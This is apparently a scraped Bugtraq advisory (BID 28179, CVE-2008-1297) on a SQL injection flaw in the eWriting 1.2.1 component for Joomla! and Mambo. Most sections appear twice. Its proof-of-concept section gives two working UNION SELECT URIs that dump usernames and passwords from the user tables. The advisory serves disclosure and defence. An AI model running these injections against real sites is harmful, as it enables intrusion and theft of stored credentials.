Joomla! and Mambo 'com_ewriting' Component 'Itemid' Parameter SQL Injection Vulnerability
BID:28179
Info
Joomla! and Mambo 'com_ewriting' Component 'Itemid' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 28179 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-1297 |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 10 2008 12:00AM |
| Updated: | May 07 2015 05:32PM |
| Credit: | breaker_unit & Don are credited with the discovery of this vulnerability. |
| Vulnerable: |
B?rbara Irene Meclazcke eWriting 1.2.1 |
| Not Vulnerable: | |
Discussion
Joomla! and Mambo 'com_ewriting' Component 'Itemid' Parameter SQL Injection Vulnerability
The eWriting component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
This issue affects eWriting 1.2.1; other versions may also be vulnerable.
The eWriting component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
This issue affects eWriting 1.2.1; other versions may also be vulnerable.
Exploit / POC
Joomla! and Mambo 'com_ewriting' Component 'Itemid' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10+FROM+jos_users--
http://www.example.com/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10+FROM+mos_users--
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10+FROM+jos_users--
http://www.example.com/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10+FROM+mos_users--
Solution / Fix
Joomla! and Mambo 'com_ewriting' Component 'Itemid' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Joomla! and Mambo 'com_ewriting' Component 'Itemid' Parameter SQL Injection Vulnerability
References:
References:
- eWriting Homepage (B?rbara Irene Meclazcke)
- Mambo Homepage (Mambo)